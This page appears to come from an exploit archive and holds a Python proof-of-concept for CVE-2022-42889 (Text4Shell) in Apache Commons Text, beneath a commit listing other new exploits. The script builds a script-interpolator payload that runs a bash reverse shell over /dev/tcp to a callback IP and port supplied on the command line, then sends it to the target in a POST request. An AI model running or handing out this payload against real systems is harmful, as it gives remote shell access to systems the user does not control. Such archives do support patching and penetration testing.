8ce497b2c8
8 changes to exploits/shellcodes/ghdb Langflow 1.3.0 - Remote Code Execution (RCE) Apache Commons Text 1.10.0 - Remote Code Execution Hunk Companion Plugin 1.9.0 - Unauthenticated Plugin Installation UJCMS 9.6.3 - User Enumeration via IDOR Inventio Lite 4 - SQL Injection KiviCare Clinic & Patient Management System (EHR) 3.6.4 - Unauthenticated SQL Injection Tatsu 3.3.11 - Unauthenticated RCE
58 lines
No EOL
1.8 KiB
Python
Executable file
58 lines
No EOL
1.8 KiB
Python
Executable file
# Exploit Title: Apache Commons Text 1.10.0 - Remote Code Execution
|
|
(Text4Shell - POST-based)
|
|
# Date: 2025-04-17
|
|
# Exploit Author: Arjun Chaudhary
|
|
# Vendor Homepage: https://commons.apache.org/proper/commons-text/
|
|
# Software Link:https://repo1.maven.org/maven2/org/apache/commons/commons-text/
|
|
# Version: Apache Commons Text < 1.10.0
|
|
# Tested on: Ubuntu 20.04 (Docker container), Java 11+, Apache Commons Text 1.9
|
|
# CVE: CVE-2022-42889
|
|
# Type: Remote Code Execution (RCE)
|
|
# Method: POST request, script interpolator
|
|
# Notes: This exploit demonstrates an RCE vector via POST data, differing
|
|
from common GET-based payloads.
|
|
|
|
#!/usr/bin/env python3
|
|
|
|
import urllib.parse
|
|
import http.client
|
|
import sys
|
|
|
|
def usage():
|
|
print("Usage: python3 text4shell.py <target_ip> <callback_ip> <callback_port>")
|
|
print("Example: python3 text4shell.py 127.0.0.1 192.168.22.128 4444")
|
|
sys.exit(1)
|
|
|
|
if len(sys.argv) != 4:
|
|
usage()
|
|
|
|
target_ip = sys.argv[1]
|
|
callback_ip = sys.argv[2]
|
|
callback_port = sys.argv[3]
|
|
|
|
raw_payload = (
|
|
f"${{script:javascript:var p=java.lang.Runtime.getRuntime().exec("
|
|
f"['bash','-c','bash -c \\'exec bash -i >& /dev/tcp/{callback_ip}/{callback_port} 0>&1\\''])}}"
|
|
)
|
|
|
|
|
|
encoded_payload = urllib.parse.quote(raw_payload)
|
|
|
|
|
|
path = f"/?data={encoded_payload}" # modify the parameter according to your target
|
|
|
|
print(f"[!] Remember to modify the parameter according to your target")
|
|
print(f"[+] Target: http://{target_ip}{path}")
|
|
print(f"[+] Payload (decoded): {raw_payload}")
|
|
|
|
|
|
conn = http.client.HTTPConnection(target_ip, 80)
|
|
conn.request("POST", path, body="", headers={
|
|
"Host": target_ip,
|
|
"Content-Type": "application/json",
|
|
"Content-Length": "0"
|
|
})
|
|
response = conn.getresponse()
|
|
print(f"[+] Response Status: {response.status}")
|
|
print(response.read().decode())
|
|
conn.close() |